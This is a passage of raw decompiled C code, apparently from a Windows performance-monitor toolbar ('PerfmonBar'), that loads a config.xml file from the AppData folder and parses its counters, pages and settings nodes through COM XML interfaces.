				int _t1690;
				signed int _t1692;
				signed int _t1693;
				signed int _t1694;
				signed int _t1695;
				signed int _t1697;
				signed int _t1700;
				signed int _t1708;
				signed int _t1709;
				signed int _t1712;
				signed int _t1714;
				void* _t1715;
				signed int _t1718;
				void* _t1720;
				signed int _t1726;
				signed int _t1727;
				long long _t1764;

				_t1764 = __fp0;
				_t1633 = __esi;
				_t1621 = __edi;
				_t1605 = __edx;
				_t1692 = _t1708;
				_push(0xffffffff);
				_push(0x6ed58810);
				_push( *[fs:0x0]);
				_t1709 = _t1708 - 0x6c;
				_t827 =  *0x6ed6d008; // 0x3f169fae
				_t828 = _t827 ^ _t1692;
				_v20 = _t828;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t828);
				 *[fs:0x0] =  &_v16;
				_t1395 = __edx;
				_v112 = __edx;
				_v24 = 0;
				_v8 = 0;
				_t1425 =  *__ecx;
				if(_t1425 == 0) {
					L45:
					E6ED37500(0x80004003);
					goto L46;
				} else {
					_t1605 =  &_v24;
					_v8 = 0;
					_v24 = 0;
					 *((intOrPtr*)( *_t1425 + 0x34))(_t1425,  &_v24);
					_t1345 = _v24;
					if(_t1345 == 0) {
						L38:
						_t1420 = 1;
						goto L39;
					} else {
						_t1621 = __imp__#6;
						while(1) {
							_v32 = 0;
							_v8 = 2;
							if(_t1345 == 0) {
								goto L45;
							}
							_t1605 =  &_v32;
							_push( &_v32);
							_push(_t1345);
							if( *((intOrPtr*)( *_t1345 + 0x1c))() < 0) {
								L44:
								 *_t1621(_v32);
								_t1345 = _v24;
								_t1420 = 0;
								L39:
								_v8 = 0x11;
								if(_t1345 != 0) {
									 *((intOrPtr*)( *_t1345 + 8))(_t1345);
								}
								 *[fs:0x0] = _v16;
								_pop(_t1631);
								_pop(_t1689);
								_pop(_t1421);
								return E6ED34160(_t1420, _t1421, _v20 ^ _t1692, _t1605, _t1631, _t1689);
							} else {
								_t1351 = MultiByteToWideChar(3, 0, "line", 0xffffffff, 0, 0);
								_t1633 = _t1351;
								_t15 = _t1633 - 1; // -1
								_t1425 = _t15;
								__imp__#4(0, _t1425);
								_t1621 = _t1351;
								if(_t1621 == 0) {
									L49:
									E6ED27B80(0x8007000e);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t1633);
									_t1634 = _t1425;
									_t1426 =  *(_t1634 + 0x14);
									__eflags = _t1426 - 8;
									if(_t1426 < 8) {
										L55:
										__eflags = 0;
										 *(_t1634 + 0x10) = 0;
										 *(_t1634 + 0x14) = 7;
										 *_t1634 = 0;
										return 0;
									} else {
										_t835 =  *_t1634;
										_t1427 = 2 + _t1426 * 2;
										__eflags = _t1427 - 0x1000;
										if(_t1427 < 0x1000) {
											L54:
											_push(_t1427);
											E6ED3416E(_t835);
											goto L55;
										} else {
											_t1606 =  *((intOrPtr*)(_t835 - 4));
											_t1427 =  &(_t1427[8]);
											__eflags = _t835 - _t1606 + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												E6ED3D5F4(_t1395, _t1427, _t1606, __eflags);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t1634);
												_t1636 = _t1427;
												E6ED2B7E0(_t1395,  &(_t1636[0xa]), _t1606, _t1621, _t1636, _t1764);
												_t1429 = _t1636[5];
												__eflags = _t1429 - 8;
												if(_t1429 < 8) {
													L62:
													__eflags = 0;
													_t1636[4] = 0;
													_t1636[5] = 7;
													 *_t1636 = 0;
													return 0;
												} else {
													_t842 =  *_t1636;
													_t1430 = 2 + _t1429 * 2;
													__eflags = _t1430 - 0x1000;
													if(_t1430 < 0x1000) {
														L61:
														_push(_t1430);
														E6ED3416E(_t842);
														goto L62;
													} else {
														_t1607 =  *(_t842 - 4);
														_t1430 = _t1430 + 0x23;
														__eflags = _t842 - _t1607 + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															E6ED3D5F4(_t1395, _t1430, _t1607, __eflags);
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t1692);
															_t1693 = _t1709;
															_push(0xffffffff);
															_push(0x6ed588d1);
															_push( *[fs:0x0]);
															_t1712 = _t1709 - 0xd4;
															_t848 =  *0x6ed6d008; // 0x3f169fae
															_t849 = _t848 ^ _t1693;
															_v164 = _t849;
															_push(_t1395);
															_push(_t1636);
															_push(_t1621);
															_push(_t849);
															 *[fs:0x0] =  &_v160;
															_v316 = _t1607;
															_t851 = _t1430;
															_v364 = _t851;
															_v184 = 0;
															_v152 = 0;
															_t1638 =  *_t851;
															__eflags = _t1638;
															if(__eflags == 0) {
																L257:
																E6ED37500(0x80004003);
																goto L258;
															} else {
																_t1430 =  &_v44;
																_v12 = 0;
																_v44 = 0;
																_t1187 =  *((intOrPtr*)( *_t1638 + 0x44))(_t1638, _t1430);
																__eflags = _t1187;
																if(_t1187 < 0) {
																	L251:
																	_t1412 = 0;
																	__eflags = 0;
																	goto L252;
																} else {
																	_t1191 = _v44;
																	__eflags = _t1191;
																	if(__eflags == 0) {
																		goto L257;
																	} else {
																		_t1430 =  *_t1191;
																		_t1607 =  &_v48;
																		_t1192 =  *((intOrPtr*)(_t1430 + 0x2c))(_t1191,  &_v48);
																		__eflags = _t1192;
																		if(_t1192 < 0) {
																			goto L251;
																		} else {
																			_t1193 = 0;
																			_v40 = 0;
																			_t1395 = 0;
																			_v12 = 4;
																			_t1621 = __imp__#6;
																			_v220 = 0;
																			__eflags = _v48;
																			if(_v48 <= 0) {
																				L208:
																				_v32 = 0;
																				_v12 = 0x12;
																				_t1430 =  *_v224;
																				__eflags = _t1430;
																				if(__eflags == 0) {
																					goto L257;
																				} else {
																					_t1607 =  &_v32;
																					_v12 = 0x12;
																					_v32 = 0;
																					 *((intOrPtr*)( *_t1430 + 0x34))(_t1430,  &_v32);
																					_t1196 = _v32;
																					__eflags = _t1196;
																					if(_t1196 == 0) {
																						L243:
																						_t1412 = 1;
																						goto L244;
																					} else {
																						_t1395 = MultiByteToWideChar;
																						while(1) {
																							_v36 = 0;
																							_v12 = 0x14;
																							__eflags = _t1196;
																							if(__eflags == 0) {
																								goto L257;
																							}
																							_t1607 =  &_v36;
																							_t1200 =  *((intOrPtr*)( *_t1196 + 0x1c))(_t1196,  &_v36);
																							__eflags = _t1200;
																							if(_t1200 < 0) {
																								L250:
																								 *_t1621(_v36);
																								_t1196 = _v32;
																								_t1412 = 0;
																								L244:
																								_v12 = 0x24;
																								__eflags = _t1196;
																								if(_t1196 != 0) {
																									 *((intOrPtr*)( *_t1196 + 8))(_t1196);
																								}
																								goto L246;
																							} else {
																								_t1202 = MultiByteToWideChar(3, 0, "display", 0xffffffff, 0, 0);
																								_t1638 = _t1202;
																								_t274 = _t1638 - 1; // -1
																								_t1430 = _t274;
																								__imp__#4(0, _t1430);
																								_t1621 = _t1202;
																								__eflags = _t1621;
																								if(_t1621 == 0) {
																									L260:
																									E6ED27B80(0x8007000e);
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									_push(_t1638);
																									_t1639 = _t1430;
																									_t1431 =  *(_t1639 + 0x44);
																									__eflags = _t1431 - 8;
																									if(_t1431 < 8) {
																										L266:
																										 *(_t1639 + 0x40) = 0;
																										 *(_t1639 + 0x44) = 7;
																										 *(_t1639 + 0x30) = 0;
																										_t1432 =  *(_t1639 + 0x2c);
																										__eflags = _t1432 - 8;
																										if(_t1432 < 8) {
																											L271:
																											 *(_t1639 + 0x28) = 0;
																											 *(_t1639 + 0x2c) = 7;
																											 *(_t1639 + 0x18) = 0;
																											_t1433 =  *(_t1639 + 0x14);
																											__eflags = _t1433 - 8;
																											if(_t1433 < 8) {
																												L276:
																												__eflags = 0;
																												 *(_t1639 + 0x10) = 0;
																												 *(_t1639 + 0x14) = 7;
																												 *_t1639 = 0;
																												return 0;
																											} else {
																												_t858 =  *_t1639;
																												_t1434 = 2 + _t1433 * 2;
																												__eflags = _t1434 - 0x1000;
																												if(_t1434 < 0x1000) {
																													L275:
																													_push(_t1434);
																													E6ED3416E(_t858);
																													goto L276;
																												} else {
																													_t1608 =  *(_t858 - 4);
																													_t1434 =  &(_t1434[8]);
																													__eflags = _t858 - _t1608 + 0xfffffffc - 0x1f;
																													if(__eflags > 0) {
																														goto L277;
																													} else {
																														_t858 = _t1608;
																														goto L275;
																													}
																												}
																											}
																										} else {
																											_t1178 =  *(_t1639 + 0x18);
																											_t1548 = 2 + _t1432 * 2;
																											__eflags = _t1548 - 0x1000;
																											if(_t1548 < 0x1000) {
																												L270:
																												_push(_t1548);
																												E6ED3416E(_t1178);
																												_t1712 = _t1712 + 8;
																												goto L271;
																											} else {
																												_t1608 =  *(_t1178 - 4);
																												_t1434 = _t1548 + 0x23;
																												__eflags = _t1178 - _t1608 + 0xfffffffc - 0x1f;
																												if(__eflags > 0) {
																													goto L277;
																												} else {
																													_t1178 = _t1608;
																													goto L270;
																												}
																											}
																										}
																									} else {
																										_t1182 =  *(_t1639 + 0x30);
																										_t1549 = 2 + _t1431 * 2;
																										__eflags = _t1549 - 0x1000;
																										if(_t1549 < 0x1000) {
																											L265:
																											_push(_t1549);
																											E6ED3416E(_t1182);
																											_t1712 = _t1712 + 8;
																											goto L266;
																										} else {
																											_t1608 =  *(_t1182 - 4);
																											_t1434 = _t1549 + 0x23;
																											__eflags = _t1182 - _t1608 + 0xfffffffc - 0x1f;
																											if(__eflags > 0) {
																												L277:
																												E6ED3D5F4(_t1395, _t1434, _t1608, __eflags);
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												_push(_t1693);
																												_t1694 = _t1712;
																												_push(0xffffffff);
																												_push(0x6ed58972);
																												_push( *[fs:0x0]);
																												_t1714 = _t1712 - 0x7c;
																												_t864 =  *0x6ed6d008; // 0x3f169fae
																												_t865 = _t864 ^ _t1694;
																												_v420 = _t865;
																												_push(_t1395);
																												_push(_t1639);
																												_push(_t1621);
																												_push(_t865);
																												 *[fs:0x0] =  &_v416;
																												_v484 = _t1608;
																												_v432 = 0;
																												_v408 = 0;
																												_t1435 =  *_t1434;
																												__eflags = _t1435;
																												if(_t1435 == 0) {
																													L458:
																													E6ED37500(0x80004003);
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													_push(_t1694);
																													_t1695 = _t1714;
																													_push(0xffffffff);
																													_push(0x6ed589ec);
																													_push( *[fs:0x0]);
																													_t1715 = _t1714 - 0x5c;
																													_t869 =  *0x6ed6d008; // 0x3f169fae
																													_t870 = _t869 ^ _t1695;
																													_v576 = _t870;
																													_push(_t1395);
																													_push(_t1639);
																													_push(_t1621);
																													_push(_t870);
																													 *[fs:0x0] =  &_v572;
																													_v656 = _t1608;
																													_v584 = 0;
																													_v564 = 0;
																													_t1436 =  *_t1435;
																													__eflags = _t1436;
																													if(_t1436 == 0) {
																														L544:
																														E6ED37500(0x80004003);
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														_t1396 = _t1715;
																														_t1718 = (_t1715 - 0x00000008 & 0xfffffff8) + 4;
																														_v688 =  *((intOrPtr*)(_t1396 + 4));
																														_t1697 = _t1718;
																														_t875 =  *0x6ed6d008 ^ _t1697;
																														_v712 = _t875;
																														 *[fs:0x0] =  &_v704;
																														_t1641 = _t1436;
																														E6ED38400(_t1621,  &_v1236, 0, 0x208);
																														_t1720 = _t1718 - 0x25c + 0xc;
																														_t879 =  &_v1236;
																														__imp__SHGetFolderPathW(0, 0x1a, 0, 0, _t879, _t875, _t1639, _t1396,  *[fs:0x0], 0x6ed58a30, 0xffffffff, _t1695, _t1395);
																														__eflags = _t879;
																														if(_t879 < 0) {
																															L564:
																															 *[fs:0x0] = _v40;
																															_pop(_t1642);
																															__eflags = _v48 ^ _t1697;
																															return E6ED34160(_t879, _t1396, _v48 ^ _t1697, _t1608, _t1621, _t1642);
																														} else {
																															__eflags = 0;
																															_v596 = 0;
																															_t1441 =  &_v572;
																															_v580 = 0;
																															_v576 = 7;
																															_t1609 = _t1441 + 2;
																															_v596 = 0;
																															do {
																																_t882 =  *_t1441;
																																_t1441 = _t1441 + 2;
																																__eflags = _t882;
																															} while (_t882 != 0);
																															_push(_t1441 - _t1609 >> 1);
																															E6ED2B860(_t1396,  &_v596, _t1621, _t1641, _t1764,  &_v572);
																															_push(0x16);
																															_v32 = 0;
																															_t885 = E6ED2CC10( &_v596, _t1764, L"\\PerfmonBar\\config.xml");
																															asm("movups xmm0, [eax]");
																															asm("movq xmm1, [eax+0x10]");
																															 *(_t885 + 0x10) = 0;
																															 *(_t885 + 0x14) = 7;
																															 *_t885 = 0;
																															asm("movq [ebp-0x240], xmm1");
																															asm("movq [ebp-0x248], xmm1");
																															asm("movups [ebp-0x268], xmm0");
																															asm("movups [ebp-0x258], xmm0");
																															__eflags = _t1641 -  &_v628;
																															if(_t1641 ==  &_v628) {
																																_t1610 = _v608;
																																__eflags = _t1610 - 8;
																																if(_t1610 < 8) {
																																	goto L559;
																																} else {
																																	_t1473 = _v628;
																																	_t1614 = 2 + _t1610 * 2;
																																	_t978 = _t1473;
																																	__eflags = _t1614 - 0x1000;
																																	if(_t1614 < 0x1000) {
																																		L558:
																																		_push(_t1614);
																																		E6ED3416E(_t1473);
																																		_t1720 = _t1720 + 8;
																																		goto L559;
																																	} else {
																																		_t1447 =  *(_t1473 - 4);
																																		_t1608 = _t1614 + 0x23;
																																		__eflags = _t978 - _t1447 + 0xfffffffc - 0x1f;
																																		if(__eflags > 0) {
																																			goto L565;
																																		} else {
																																			goto L558;
																																		}
																																	}
																																}
																															} else {
																																_t1474 =  *(_t1641 + 0x14);
																																__eflags = _t1474 - 8;
																																if(_t1474 < 8) {
																																	L554:
																																	asm("movups [esi], xmm0");
																																	asm("movq [esi+0x10], xmm1");
																																	L559:
																																	_t1608 = _v576;
																																	__eflags = _t1608 - 8;
																																	if(_t1608 < 8) {
																																		L563:
																																		_t879 = 0;
																																		__eflags = 0;
																																		goto L564;
																																	} else {
																																		_t1447 = _v596;
																																		_t1608 = 2 + _t1608 * 2;
																																		_t887 = _t1447;
																																		__eflags = _t1608 - 0x1000;
																																		if(_t1608 < 0x1000) {
																																			L562:
																																			_push(_t1608);
																																			E6ED3416E(_t1447);
																																			goto L563;
																																		} else {
																																			_t1447 =  *(_t1447 - 4);
																																			_t1608 = _t1608 + 0x23;
																																			__eflags = _t887 - _t1447 + 0xfffffffc - 0x1f;
																																			if(__eflags > 0) {
																																				goto L565;
																																			} else {
																																				goto L562;
																																			}
																																		}
																																	}
																																} else {
																																	_t982 =  *_t1641;
																																	_t1475 = 2 + _t1474 * 2;
																																	__eflags = _t1475 - 0x1000;
																																	if(_t1475 < 0x1000) {
																																		L553:
																																		_push(_t1475);
																																		E6ED3416E(_t982);
																																		asm("movups xmm0, [ebp-0x268]");
																																		_t1720 = _t1720 + 8;
																																		asm("movq xmm1, [ebp-0x240]");
																																		goto L554;
																																	} else {
																																		_t1608 =  *(_t982 - 4);
																																		_t1447 = _t1475 + 0x23;
																																		__eflags = _t982 - _t1608 + 0xfffffffc - 0x1f;
																																		if(__eflags > 0) {
																																			L565:
																																			E6ED3D5F4(_t1396, _t1447, _t1608, __eflags);
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			_push(_t1396);
																																			_t1398 = _t1720;
																																			_t1726 = (_t1720 - 0x00000008 & 0xfffffff8) + 4;
																																			_push(_t1697);
																																			_v1356 =  *((intOrPtr*)(_t1398 + 4));
																																			_t1700 = _t1726;
																																			_push(0xffffffff);
																																			_push(0x6ed58aa5);
																																			_push( *[fs:0x0]);
																																			_push(_t1398);
																																			_t1727 = _t1726 - 0x58;
																																			_t893 =  *0x6ed6d008; // 0x3f169fae
																																			_t894 = _t893 ^ _t1700;
																																			_v1380 = _t894;
																																			_push(_t1641);
																																			_push(_t1621);
																																			_push(_t894);
																																			_t895 =  &_v1372;
																																			 *[fs:0x0] = _t895;
																																			_t1643 = _t1447;
																																			_v1444 = _t1643;
																																			__eflags =  *0x6ed6f380;
																																			if( *0x6ed6f380 == 0) {
																																				__imp__CoInitialize(0);
																																				__eflags = _t895;
																																				_t1608 =  >=  ? 1 :  *0x6ed6f380 & 0x000000ff;
																																				 *0x6ed6f380 =  >=  ? 1 :  *0x6ed6f380 & 0x000000ff;
																																			}
																																			_t1448 =  *(_t1643 + 8);
																																			__eflags = _t1448;
																																			if(_t1448 != 0) {
																																				__eflags =  *(_t1643 + 0x1c) >> 3 - _t1448;
																																				if( *(_t1643 + 0x1c) >> 3 <= _t1448) {
																																					E6ED2C400(_t1398,  *((intOrPtr*)(_t1643 + 4)), _t1621, _t1643, _t1764);
																																					 *((intOrPtr*)( *((intOrPtr*)(_t1643 + 4)))) =  *((intOrPtr*)(_t1643 + 4));
																																					 *((intOrPtr*)( *((intOrPtr*)(_t1643 + 4)) + 4)) =  *((intOrPtr*)(_t1643 + 4));
																																					 *(_t1643 + 8) = 0;
																																					_t1608 =  *(_t1643 + 0x10);
																																					_v120 =  *((intOrPtr*)(_t1643 + 4));
																																					E6ED2BFC0( *((intOrPtr*)(_t1643 + 0xc)),  *(_t1643 + 0x10),  &_v120);
																																					_t1727 = _t1727 + 4;
																																				} else {
																																					E6ED2B5B0(_t1643,  *((intOrPtr*)( *((intOrPtr*)(_t1643 + 4)))),  *((intOrPtr*)(_t1643 + 4)));
																																				}
																																			}
																																			_t1622 =  *((intOrPtr*)(_t1643 + 0x24));
																																			_t896 = _t1643 + 0x20;
																																			_t1644 =  *_t896;
																																			_v120 = _t896;
																																			__eflags = _t1644 - _t1622;
																																			if(_t1644 != _t1622) {
																																				do {
																																					E6ED2B760(_t1398, _t1644 + 4, _t1622, _t1644, _t1764);
																																					_t1644 = _t1644 + 0x10;
																																					__eflags = _t1644 - _t1622;
																																				} while (_t1644 != _t1622);
																																				_t896 = _v120;
																																				_t1644 =  *_t896;
																																			}
																																			 *((intOrPtr*)(_t896 + 4)) = _t1644;
																																			_v76 = 0;
																																			_t897 =  &_v112;
																																			_v44 = 1;
																																			__imp__CoCreateInstance(0x6ed5a3c0, 0, 0x17, 0x6ed65b60, _t897);
																																			__eflags = _t897;
																																			if(_t897 < 0) {
																																				L636:
																																				_t898 = 0;
																																				__eflags = 0;
																																				_v76 = 0;
																																				_v113 = 0;
																																				goto L637;
																																			} else {
																																				__imp__OleRun(_v112);
																																				_t1646 = _t897;
																																				__eflags = _t1646;
																																				if(_t1646 >= 0) {
																																					_t1468 = _v112;
																																					_t1608 =  &_v76;
																																					_t1646 =  *((intOrPtr*)( *_t1468))(_t1468, 0x6ed65b50,  &_v76);
																																				}
																																				_t902 = _v112;
																																				 *((intOrPtr*)( *_t902 + 8))(_t902);
																																				__eflags = _t1646;
																																				if(_t1646 < 0) {
																																					goto L636;
																																				} else {
																																					_v104 = 0;
																																					_v88 = 0;
																																					_v84 = 7;
																																					_v104 = 0;
																																					_v44 = 4;
																																					L545();
																																					__eflags = 0;
																																					if(0 != 0) {
																																						L630:
																																						_v113 = 0;
																																						goto L631;
																																					} else {
																																						_t1647 = _v76;
																																						__eflags = _t1647;
																																						if(__eflags == 0) {
																																							L643:
																																							E6ED37500(0x80004003);
																																							goto L644;
																																						} else {
																																							__eflags = _v84 - 8;
																																							_t1625 =  >=  ? _v104 :  &_v104;
																																							_v112 =  *((intOrPtr*)( *_t1647 + 0xe8));
																																							_v144 = 8;
																																							__imp__#2(_t1625);
																																							_v136 = 8;
																																							__eflags = 8;
																																							if(8 != 0) {
																																								L584:
																																								_v44 = 6;
																																								asm("movups xmm0, [ebp-0x68]");
																																								_t1727 = _t1727 - 0x10;
																																								asm("movups [eax], xmm0");
																																								_t1648 = _v112(_t1647,  &_v108);
																																								__imp__#9( &_v144);
																																								__eflags = _t1648;
																																								if(_t1648 != 0) {
																																									goto L630;
																																								} else {
																																									_v72 = _t1648;
																																									_v44 = 8;
																																									_t924 = _v76;
																																									__eflags = _t924;
																																									if(__eflags == 0) {
																																										goto L643;
																																									} else {
																																										_t1456 =  *_t924;
																																										_t1608 =  &_v72;
																																										_v44 = 8;
																																										_v72 = _t1648;
																																										_t925 =  *((intOrPtr*)(_t1456 + 0xb4))(_t924,  &_v72);
																																										__eflags = _t925;
																																										if(_t925 >= 0) {
																																											_v80 = 0;
																																											_v44 = 0xc;
																																											_t926 = _v72;
																																											__eflags = _t926;
																																											if(__eflags == 0) {
																																												goto L643;
																																											} else {
																																												_t1608 =  &_v80;
																																												_t927 =  *((intOrPtr*)( *_t926 + 0x1c))(_t926,  &_v80);
																																												_t1626 = __imp__#6;
																																												__eflags = _t927;
																																												if(_t927 >= 0) {
																																													_t1456 =  &_v80;
																																													_t928 = E6ED27BD0(_t1398, _t1456, _t1626, _t1648, "perfbar");
																																													__eflags = _t928;
																																													if(_t928 == 0) {
																																														L621:
																																														_v113 = 1;
																																														goto L622;
																																													} else {
																																														_v64 = 0;
																																														_v44 = 0xf;
																																														_t932 = _v72;
																																														__eflags = _t932;
																																														if(__eflags == 0) {
																																															goto L643;
																																														} else {
																																															_t1456 =  *_t932;
																																															_t1608 =  &_v64;
																																															_v44 = 0xf;
																																															_v64 = 0;
																																															 *((intOrPtr*)(_t1456 + 0x34))(_t932,  &_v64);
																																															_t934 = _v64;
																																															__eflags = _t934;
																																															if(_t934 == 0) {
																																																L619:
																																																_v44 = 0x1e;
																																																__eflags = _t934;
																																																if(_t934 != 0) {
																																																	 *((intOrPtr*)( *_t934 + 8))(_t934);
																																																}
																																																goto L621;
																																															} else {
																																																while(1) {
																																																	_v112 = 0;
																																																	_v44 = 0x11;
																																																	__eflags = _t934;
																																																	if(__eflags == 0) {
																																																		goto L643;
																																																	}
																																																	_t1608 =  &_v112;
																																																	_t936 =  *((intOrPtr*)( *_t934 + 0x1c))(_t934,  &_v112);
																																																	__eflags = _t936;
																																																	if(_t936 < 0) {
																																																		L627:
																																																		 *_t1626(_v112);
																																																		_v44 = 0x18;
																																																		_t938 = _v64;
																																																		__eflags = _t938;
																																																		if(_t938 != 0) {
																																																			 *((intOrPtr*)( *_t938 + 8))(_t938);
																																																		}
																																																		_v113 = 0;
																																																		goto L622;
																																																	} else {
																																																		_t940 = MultiByteToWideChar(3, 0, "counters", 0xffffffff, 0, 0);
																																																		_t1649 = _t940;
																																																		_t1456 = _t1649 - 1;
																																																		__imp__#4(0, _t1456);
																																																		_t1625 = _t940;
																																																		__eflags = _t1625;
																																																		if(_t1625 == 0) {
																																																			goto L642;
																																																		} else {
																																																			_t942 = MultiByteToWideChar(3, 0, "counters", 0xffffffff, _t1625, _t1649);
																																																			__eflags = _t942 - _t1649;
																																																			if(_t942 != _t1649) {
																																																				goto L641;
																																																			} else {
																																																				__imp__#314(_v112, _t1625, 0x400, 0);
																																																				_t1626 = __imp__#6;
																																																				_t1650 = _t942;
																																																				 *_t1626(_t1625);
																																																				__eflags = _t942 - 1;
																																																				if(_t942 != 1) {
																																																					_t946 = MultiByteToWideChar(3, 0, "pages", 0xffffffff, 0, 0);
																																																					_t1651 = _t946;
																																																					_t1456 = _t1651 - 1;
																																																					__imp__#4(0, _t1456);
																																																					_t1625 = _t946;
																																																					__eflags = _t1625;
																																																					if(_t1625 == 0) {
																																																						goto L642;
																																																					} else {
																																																						_t947 = MultiByteToWideChar(3, 0, "pages", 0xffffffff, _t1625, _t1651);
																																																						__eflags = _t947 - _t1651;
																																																						if(_t947 != _t1651) {
																																																							goto L641;
																																																						} else {
																																																							__imp__#314(_v112, _t1625, 0x400, 0);
																																																							_t1626 = __imp__#6;
																																																							_t1652 = _t947;
																																																							 *_t1626(_t1625);
																																																							__eflags = _t947 - 1;
																																																							if(_t947 != 1) {
																																																								_t949 = MultiByteToWideChar(3, 0, "settings", 0xffffffff, 0, 0);
																																																								_t1653 = _t949;
																																																								_t1456 = _t1653 - 1;
																																																								__imp__#4(0, _t1456);
																																																								_t1625 = _t949;
																																																								__eflags = _t1625;
																																																								if(_t1625 == 0) {
																																																									goto L642;
																																																								} else {
																																																									_t950 = MultiByteToWideChar(3, 0, "settings", 0xffffffff, _t1625, _t1653);
																																																									__eflags = _t950 - _t1653;
																																																									if(_t950 != _t1653) {
																																																										goto L641;
																																																									} else {
																																																										__imp__#314(_v112, _t1625, 0x400, 0);
																																																										_t1626 = __imp__#6;
																																																										 *_t1626(_t1625);
																																																										__eflags = _t950 - 1;
																																																										if(_t950 == 1) {
																																																											_t1456 =  &_v64;
																																																											_t1608 = _v124 + 0x2c;
																																																											L459();
																																																										}
																																																										goto L609;
																																																									}
																																																								}
																																																							} else {
																																																								_t1608 = _v120;
																																																								_t1456 =  &_v64;
																																																								E6ED28730(_t1398, _t1456, _v120, _t1626, _t1652, _t1764);
																																																								goto L609;
																																																							}
																																																						}
																																																					}
																																																				} else {
																																																					_t1608 = _v124;
																																																					_t1456 =  &_v64;
																																																					E6ED28380(_t1398, _t1456, _v124, _t1626, _t1650, _t1764);
																																																					L609:
																																																					_v68 = 0;
																																																					_v44 = 0x15;
																																																					_t952 = _v64;
																																																					__eflags = _t952;
																																																					if(__eflags == 0) {
																																																						goto L643;
																																																					} else {
																																																						_t1608 =  &_v68;
																																																						_v44 = 0x15;
																																																						_v68 = 0;
																																																						_t953 =  *((intOrPtr*)( *_t952 + 0x40))(_t952,  &_v68);
																																																						__eflags = _t953;
																																																						if(_t953 < 0) {
																																																							_v44 = 0x17;
																																																							_t954 = _v68;
																																																							__eflags = _t954;
																																																							if(_t954 != 0) {
																																																								 *((intOrPtr*)( *_t954 + 8))(_t954);
																																																							}
																																																							goto L627;
																																																						} else {
																																																							_t1456 = _v64;
																																																							_t956 = _v68;
																																																							__eflags = _t1456 - _t956;
																																																							if(_t1456 != _t956) {
																																																								_t1655 = _t956;
																																																								_v44 = 0x1b;
																																																								__eflags = _t1655;
																																																								if(_t1655 != 0) {
																																																									 *((intOrPtr*)( *_t956 + 4))(_t956);
																																																									_t1456 = _v64;
																																																									_t956 = _v68;
																																																								}
																																																								_v64 = _t1655;
																																																								_v44 = 0x1c;
																																																								__eflags = _t1456;
																																																								if(_t1456 != 0) {
																																																									 *((intOrPtr*)( *_t1456 + 8))(_t1456);
																																																									_t956 = _v68;
																																																								}
																																																							}
																																																							_v44 = 0x1d;
																																																							__eflags = _t956;
																																																							if(_t956 != 0) {
																																																								_t1456 =  *_t956;
																																																								 *((intOrPtr*)(_t1456 + 8))(_t956);
																																																							}
																																																							 *_t1626(_v112);
																																																							_t934 = _v64;
																																																							__eflags = _t934;
																																																							if(_t934 != 0) {
																																																								continue;
																																																							} else {
																																																								goto L619;
																																																							}
																																																						}
																																																					}
																																																				}
																																																			}
																																																		}
																																																	}
																																																	goto L648;
																																																}
																																																goto L643;
																																															}
																																														}
																																													}
																																												} else {
																																													_v113 = 0;
																																													L622:
																																													 *_t1626(_v80);
																																													goto L623;
																																												}
																																											}
																																										} else {
																																											_v113 = 0;
																																											L623:
																																											_v44 = 0x1f;
																																											_t930 = _v72;
																																											__eflags = _t930;
																																											if(_t930 != 0) {
																																												 *((intOrPtr*)( *_t930 + 8))(_t930);
																																											}
																																											L631:
																																											_v44 = 0;
																																											_t1608 = _v84;
																																											__eflags = _t1608 - 8;
																																											if(_t1608 < 8) {
																																												L635:
																																												_v88 = 0;
																																												_v104 = 0;
																																												_t898 = _v76;
																																												_v84 = 7;
																																												L637:
																																												_v44 = 0x20;
																																												__eflags = _t898;
																																												if(_t898 != 0) {
																																													 *((intOrPtr*)( *_t898 + 8))(_t898);
																																												}
																																												 *[fs:0x0] = _v52;
																																												_pop(_t1623);
																																												_pop(_t1645);
																																												__eflags = _v60 ^ _t1700;
																																												return E6ED34160(_v113, _t1398, _v60 ^ _t1700, _t1608, _t1623, _t1645);
																																											} else {
																																												_t1456 = _v104;
																																												_t1608 = 2 + _t1608 * 2;
																																												_t906 = _t1456;
																																												__eflags = _t1608 - 0x1000;
																																												if(_t1608 < 0x1000) {
																																													L634:
																																													_push(_t1608);
																																													E6ED3416E(_t1456);
																																													goto L635;
																																												} else {
																																													_t1456 =  *(_t1456 - 4);
																																													_t1608 = _t1608 + 0x23;
																																													__eflags = _t906 - _t1456 + 0xfffffffc - 0x1f;
																																													if(__eflags > 0) {
																																														L644:
																																														E6ED3D5F4(_t1398, _t1456, _t1608, __eflags);
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														asm("int3");
																																														_push(_t1700);
																																														_push(0xffffffff);
																																														_push(0x6ed58ad0);
																																														_push( *[fs:0x0]);
																																														_push( *0x6ed6d008 ^ _t1727);
																																														_t914 =  &_v1520;
																																														 *[fs:0x0] = _t914;
																																														_v1512 = 0;
																																														_t1457 =  *_t1456;
																																														__eflags = _t1457;
																																														if(_t1457 != 0) {
